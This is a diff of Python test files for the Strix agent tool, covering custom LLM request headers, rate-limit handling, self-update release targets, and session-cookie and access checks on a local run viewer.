assert not curl_log_path.exists()
|
||||
assert not (home_path / ".strix").exists()
|
||||
@@ -0,0 +1,97 @@
|
||||
"""Tests for LLM_EXTRA_HEADERS: custom default headers on OpenAI-compatible endpoints."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from typing import TYPE_CHECKING
|
||||
|
||||
import litellm
|
||||
import pytest
|
||||
from agents.models import _openai_shared
|
||||
|
||||
from strix.config import loader
|
||||
from strix.config.loader import load_settings
|
||||
from strix.config.models import configure_sdk_model_defaults
|
||||
|
||||
|
||||
if TYPE_CHECKING:
|
||||
from collections.abc import Iterator
|
||||
|
||||
|
||||
_ENV_KEYS = ["STRIX_LLM", "LLM_API_KEY", "LLM_API_BASE", "LLM_EXTRA_HEADERS"]
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _reset(monkeypatch: pytest.MonkeyPatch) -> Iterator[None]:
|
||||
for key in _ENV_KEYS:
|
||||
monkeypatch.delenv(key, raising=False)
|
||||
monkeypatch.setattr(loader, "_cached", None)
|
||||
monkeypatch.setattr(loader, "_override", None)
|
||||
|
||||
saved_headers = litellm.headers
|
||||
saved_client = _openai_shared.get_default_openai_client()
|
||||
litellm.headers = None
|
||||
try:
|
||||
yield
|
||||
finally:
|
||||
litellm.headers = saved_headers
|
||||
_openai_shared.set_default_openai_client(saved_client) # type: ignore[arg-type]
|
||||
|
||||
|
||||
def test_extra_headers_parsed_from_json_env(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setenv("LLM_EXTRA_HEADERS", json.dumps({"X-A": "1", "X-B": "2"}))
|
||||
settings = load_settings()
|
||||
assert settings.llm.extra_headers == {"X-A": "1", "X-B": "2"}
|
||||
|
||||
|
||||
def test_extra_headers_merged_into_litellm_headers(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setenv("STRIX_LLM", "litellm/openai/some-model")
|
||||
monkeypatch.setenv("LLM_API_BASE", "https://gateway.example/v1")
|
||||
monkeypatch.setenv("LLM_API_KEY", "token")
|
||||
headers = {"X-Feature-Key": "svc", "X-Tenant": "acme"}
|
||||
monkeypatch.setenv("LLM_EXTRA_HEADERS", json.dumps(headers))
|
||||
|
||||
configure_sdk_model_defaults(load_settings())
|
||||
|
||||
current: object = litellm.headers
|
||||
assert isinstance(current, dict)
|
||||
assert current["X-Feature-Key"] == "svc"
|
||||
assert current["X-Tenant"] == "acme"
|
||||
|
||||
|
||||
def test_extra_headers_applied_to_native_openai_client(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setenv("STRIX_LLM", "openai/some-model")
|
||||
monkeypatch.setenv("LLM_API_BASE", "https://gateway.example/v1")
|
||||
monkeypatch.setenv("LLM_API_KEY", "token")
|
||||
monkeypatch.setenv("LLM_EXTRA_HEADERS", json.dumps({"X-Feature-Key": "svc"}))
|
||||
|
||||
configure_sdk_model_defaults(load_settings())
|
||||
|
||||
client = _openai_shared.get_default_openai_client()
|
||||
assert client is not None
|
||||
assert client.default_headers.get("X-Feature-Key") == "svc"
|
||||
assert str(client.base_url).rstrip("/") == "https://gateway.example/v1"
|
||||
|
||||
|
||||
def test_extra_headers_applied_to_native_openai_without_custom_base(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
) -> None:
|
||||
monkeypatch.setenv("STRIX_LLM", "openai/gpt-5")
|
||||
monkeypatch.setenv("LLM_API_KEY", "token")
|
||||
monkeypatch.setenv("LLM_EXTRA_HEADERS", json.dumps({"X-Feature-Key": "svc"}))
|
||||
|
||||
configure_sdk_model_defaults(load_settings())
|
||||
|
||||
client = _openai_shared.get_default_openai_client()
|
||||
assert client is not None
|
||||
assert client.default_headers.get("X-Feature-Key") == "svc"
|
||||
|
||||
|
||||
def test_no_extra_headers_leaves_litellm_headers_untouched(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
monkeypatch.setenv("STRIX_LLM", "openai/some-model")
|
||||
monkeypatch.setenv("LLM_API_BASE", "https://gateway.example/v1")
|
||||
monkeypatch.setenv("LLM_API_KEY", "token")
|
||||
|
||||
configure_sdk_model_defaults(load_settings())
|
||||
|
||||
assert litellm.headers is None
|
||||
@@ -14,6 +14,7 @@ import strix.tools.notes.tools as notes_tools
|
||||
import strix.tools.todo.tools as todo_tools
|
||||
from strix.core import runner
|
||||
from strix.core.agents import AgentCoordinator
|
||||
from strix.runtime import session_manager
|
||||
|
||||
|
||||
def _make_rate_limit_error() -> RateLimitError:
|
||||
@@ -38,6 +39,8 @@ async def test_persistent_rate_limit_stops_gracefully(
|
||||
reasoning_effort="high",
|
||||
force_required_tool_choice=False,
|
||||
timeout=300,
|
||||
prompt_cache=True,
|
||||
extra_headers=None,
|
||||
),
|
||||
runtime=types.SimpleNamespace(max_context_images=3),
|
||||
)
|
||||
@@ -56,8 +59,8 @@ async def test_persistent_rate_limit_stops_gracefully(
|
||||
async def _cleanup(*_args: Any, **_kwargs: Any) -> None:
|
||||
return None
|
||||
|
||||
monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse) # type: ignore[attr-defined]
|
||||
monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup) # type: ignore[attr-defined]
|
||||
monkeypatch.setattr(session_manager, "create_or_reuse", _create_or_reuse)
|
||||
monkeypatch.setattr(session_manager, "cleanup", _cleanup)
|
||||
|
||||
monkeypatch.setattr(runner, "build_root_task", lambda _scan_config: "task")
|
||||
monkeypatch.setattr(runner, "build_scope_context", lambda _scan_config: "")
|
||||
|
||||
@@ -17,6 +17,7 @@ import strix.tools.notes.tools as notes_tools
|
||||
import strix.tools.todo.tools as todo_tools
|
||||
from strix.core import runner
|
||||
from strix.core.agents import AgentCoordinator
|
||||
from strix.runtime import session_manager
|
||||
|
||||
|
||||
def _make_rate_limit_error() -> RateLimitError:
|
||||
@@ -46,6 +47,8 @@ def _patch_engine_scaffold(
|
||||
reasoning_effort="high",
|
||||
force_required_tool_choice=False,
|
||||
timeout=300,
|
||||
prompt_cache=True,
|
||||
extra_headers=None,
|
||||
),
|
||||
runtime=types.SimpleNamespace(max_context_images=3),
|
||||
)
|
||||
@@ -66,8 +69,8 @@ def _patch_engine_scaffold(
|
||||
async def _cleanup(*_args: Any, **_kwargs: Any) -> None:
|
||||
return None
|
||||
|
||||
monkeypatch.setattr(runner.session_manager, "create_or_reuse", _create_or_reuse)
|
||||
monkeypatch.setattr(runner.session_manager, "cleanup", _cleanup)
|
||||
monkeypatch.setattr(session_manager, "create_or_reuse", _create_or_reuse)
|
||||
monkeypatch.setattr(session_manager, "cleanup", _cleanup)
|
||||
|
||||
monkeypatch.setattr(runner, "build_root_task", lambda _scan_config: "task")
|
||||
monkeypatch.setattr(runner, "build_scope_context", lambda _scan_config: scope_context)
|
||||
|
||||
@@ -159,14 +159,40 @@ def test_sha256_file(tmp_path: Path) -> None:
|
||||
assert update_check._sha256_file(path) == hashlib.sha256(b"strix").hexdigest()
|
||||
|
||||
|
||||
def test_release_target(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
@pytest.mark.parametrize(
|
||||
("system", "machine", "expected"),
|
||||
[
|
||||
("Linux", "x86_64", "linux-x86_64"),
|
||||
("Linux", "aarch64", "linux-arm64"),
|
||||
("Linux", "arm64", "linux-arm64"),
|
||||
("Darwin", "arm64", "macos-arm64"),
|
||||
("Darwin", "riscv64", None),
|
||||
],
|
||||
)
|
||||
def test_release_target(
|
||||
monkeypatch: pytest.MonkeyPatch,
|
||||
system: str,
|
||||
machine: str,
|
||||
expected: str | None,
|
||||
) -> None:
|
||||
monkeypatch.setattr(platform, "system", lambda: system)
|
||||
monkeypatch.setattr(platform, "machine", lambda: machine)
|
||||
|
||||
assert update_check._release_target() == expected
|
||||
|
||||
|
||||
def test_self_update_uses_linux_arm64_release(monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
requested_update: list[tuple[str, str]] = []
|
||||
|
||||
def record_download(version: str, target: str, _console: Console) -> bool:
|
||||
requested_update.append((version, target))
|
||||
return True
|
||||
|
||||
monkeypatch.setattr(update_check, "is_binary_install", lambda: True)
|
||||
monkeypatch.setattr(update_check, "get_version", lambda: "1.0.0")
|
||||
monkeypatch.setattr(platform, "system", lambda: "Linux")
|
||||
monkeypatch.setattr(platform, "machine", lambda: "x86_64")
|
||||
assert update_check._release_target() == "linux-x86_64"
|
||||
monkeypatch.setattr(platform, "machine", lambda: "aarch64")
|
||||
monkeypatch.setattr(update_check, "_download_and_replace", record_download)
|
||||
|
||||
monkeypatch.setattr(platform, "system", lambda: "Darwin")
|
||||
monkeypatch.setattr(platform, "machine", lambda: "arm64")
|
||||
assert update_check._release_target() == "macos-arm64"
|
||||
|
||||
monkeypatch.setattr(platform, "machine", lambda: "riscv64")
|
||||
assert update_check._release_target() is None
|
||||
assert update_check.self_update(Console(file=io.StringIO()), version="1.1.0") is True
|
||||
assert requested_update == [("1.1.0", "linux-arm64")]
|
||||
|
||||
+125
-2
@@ -4,9 +4,11 @@ from __future__ import annotations
|
||||
|
||||
import json
|
||||
import os
|
||||
import sqlite3
|
||||
import urllib.error
|
||||
import urllib.request
|
||||
from typing import TYPE_CHECKING
|
||||
from urllib.parse import urlsplit
|
||||
|
||||
from strix.core.paths import latest_run_dir, runs_base_dir
|
||||
from strix.interface.viewer.server import serve
|
||||
@@ -86,6 +88,75 @@ def test_build_run_state_from_agents_json(tmp_path: Path) -> None:
|
||||
assert state["events"] == []
|
||||
|
||||
|
||||
def test_build_run_state_keeps_same_call_id_separate_per_agent(tmp_path: Path) -> None:
|
||||
run_dir = _make_run(tmp_path, "tools", status="completed", end_time=None)
|
||||
agents_db = run_dir / ".state" / "agents.db"
|
||||
rows = [
|
||||
(
|
||||
"root",
|
||||
{
|
||||
"type": "function_call",
|
||||
"call_id": "exec_command_0",
|
||||
"name": "exec_command",
|
||||
"arguments": json.dumps({"cmd": "echo root"}),
|
||||
},
|
||||
),
|
||||
(
|
||||
"root",
|
||||
{
|
||||
"type": "function_call_output",
|
||||
"call_id": "exec_command_0",
|
||||
"output": json.dumps({"success": True, "output": "root"}),
|
||||
},
|
||||
),
|
||||
(
|
||||
"child",
|
||||
{
|
||||
"type": "function_call",
|
||||
"call_id": "exec_command_0",
|
||||
"name": "exec_command",
|
||||
"arguments": json.dumps({"cmd": "echo child"}),
|
||||
},
|
||||
),
|
||||
(
|
||||
"child",
|
||||
{
|
||||
"type": "function_call_output",
|
||||
"call_id": "exec_command_0",
|
||||
"output": json.dumps({"success": True, "output": "child"}),
|
||||
},
|
||||
),
|
||||
]
|
||||
with sqlite3.connect(agents_db) as conn:
|
||||
conn.execute(
|
||||
"""
|
||||
create table agent_messages (
|
||||
id integer primary key,
|
||||
session_id text not null,
|
||||
message_data text not null,
|
||||
created_at text not null
|
||||
)
|
||||
"""
|
||||
)
|
||||
conn.executemany(
|
||||
"""
|
||||
insert into agent_messages (session_id, message_data, created_at)
|
||||
values (?, ?, '2026-01-01T00:00:00+00:00')
|
||||
""",
|
||||
[(agent_id, json.dumps(message)) for agent_id, message in rows],
|
||||
)
|
||||
|
||||
state = build_run_state(run_dir)
|
||||
tools = [event for event in state["events"] if event["type"] == "tool"]
|
||||
|
||||
assert len(tools) == 2
|
||||
by_agent = {event["agent_id"]: event for event in tools}
|
||||
assert by_agent["root"]["data"]["args"] == {"cmd": "echo root"}
|
||||
assert by_agent["root"]["data"]["result"]["output"] == "root"
|
||||
assert by_agent["child"]["data"]["args"] == {"cmd": "echo child"}
|
||||
assert by_agent["child"]["data"]["result"]["output"] == "child"
|
||||
|
||||
|
||||
def _get(url: str, *, cookie: str | None = None) -> tuple[int, str, bytes]:
|
||||
headers = {"Cookie": cookie} if cookie else {}
|
||||
req = urllib.request.Request(url, headers=headers) # noqa: S310 - localhost test server
|
||||
@@ -271,6 +342,11 @@ def _session_cookie(url: str, token: str) -> str:
|
||||
return raw.split(";", 1)[0]
|
||||
|
||||
|
||||
def _cookie_name(url: str) -> str:
|
||||
"""The per-server session cookie name, derived from the bound port."""
|
||||
return f"strix_viewer_session_{urlsplit(url).port}"
|
||||
|
||||
|
||||
def _get_status(url: str, *, cookie: str | None = None) -> int:
|
||||
headers = {"Cookie": cookie} if cookie else {}
|
||||
req = urllib.request.Request(url, headers=headers) # noqa: S310 - localhost test server
|
||||
@@ -311,7 +387,7 @@ def test_capability_issued_only_for_tokened_bootstrap(
|
||||
# Only the correct bootstrap token mints the session cookie.
|
||||
with urllib.request.urlopen(f"{url}/?token={token}") as resp: # noqa: S310 # nosec B310
|
||||
cookie = str(resp.headers.get("Set-Cookie", ""))
|
||||
assert "strix_viewer_session=" in cookie
|
||||
assert f"{_cookie_name(url)}=" in cookie
|
||||
assert "HttpOnly" in cookie and "SameSite=Strict" in cookie
|
||||
|
||||
# Static assets never carry it.
|
||||
@@ -344,7 +420,7 @@ def test_unauthorized_client_cannot_acquire_capability(
|
||||
url,
|
||||
"/api/agents/steer",
|
||||
{"agent_id": "root", "message": "pwn"},
|
||||
cookie="strix_viewer_session=",
|
||||
cookie=f"{_cookie_name(url)}=",
|
||||
)
|
||||
assert status == 403
|
||||
assert delivered == []
|
||||
@@ -541,6 +617,53 @@ def test_runs_list_requires_session_and_verification(
|
||||
httpd.server_close()
|
||||
|
||||
|
||||
def test_concurrent_servers_use_distinct_cookies(
|
||||
tmp_path: Path, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
"""Cookies are host-scoped, not port-scoped: two viewers on 127.0.0.1 must
|
||||
not share a cookie slot, and one server's cookie must not pass the other's
|
||||
session gate."""
|
||||
run_a = _make_run(tmp_path / "a", "run-a", status="running", end_time=None)
|
||||
run_b = _make_run(tmp_path / "b", "run-b", status="running", end_time=None)
|
||||
_bundle(tmp_path, monkeypatch)
|
||||
monkeypatch.setattr(
|
||||
"strix.interface.viewer.auth.read_auth", lambda: {"email": "a@b.com", "token": "t"}
|
||||
)
|
||||
monkeypatch.setattr("strix.interface.viewer.auth.is_verified", lambda: True)
|
||||
|
||||
httpd_a, url_a, token_a = serve(run_a, open_browser=False)
|
||||
httpd_b, url_b, token_b = serve(run_b, open_browser=False)
|
||||
try:
|
||||
cookie_a = _session_cookie(url_a, token_a)
|
||||
cookie_b = _session_cookie(url_b, token_b)
|
||||
|
||||
# The two servers mint differently named cookies, so a browser stores both.
|
||||
assert cookie_a.split("=", 1)[0] == _cookie_name(url_a)
|
||||
assert cookie_b.split("=", 1)[0] == _cookie_name(url_b)
|
||||
assert cookie_a.split("=", 1)[0] != cookie_b.split("=", 1)[0]
|
||||
|
||||
def _status(url: str, cookie: str) -> dict[str, object]:
|
||||
_, _, body = _get(f"{url}/api/auth/status", cookie=cookie)
|
||||
return dict(json.loads(body))
|
||||
|
||||
# Each server honors its own cookie...
|
||||
assert _status(url_a, cookie_a)["verified"] is True
|
||||
assert _status(url_b, cookie_b)["verified"] is True
|
||||
# ...but treats the other server's cookie as session-less.
|
||||
assert _status(url_a, cookie_b)["verified"] is False
|
||||
assert _status(url_b, cookie_a)["verified"] is False
|
||||
# Even both cookies together (what a real browser would send) only
|
||||
# match the token minted by the receiving server.
|
||||
both = f"{cookie_a}; {cookie_b}"
|
||||
assert _status(url_a, both)["verified"] is True
|
||||
assert _status(url_b, both)["verified"] is True
|
||||
finally:
|
||||
httpd_a.shutdown()
|
||||
httpd_a.server_close()
|
||||
httpd_b.shutdown()
|
||||
httpd_b.server_close()
|
||||
|
||||
|
||||
def test_server_rejects_path_traversal(tmp_path: Path, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
run_dir = _make_run(tmp_path, "guard", status="completed", end_time="2026-01-01T00:00:00Z")
|
||||
secret = tmp_path / "secret.txt"
|
||||
|
||||
Reference in New Issue
Block a user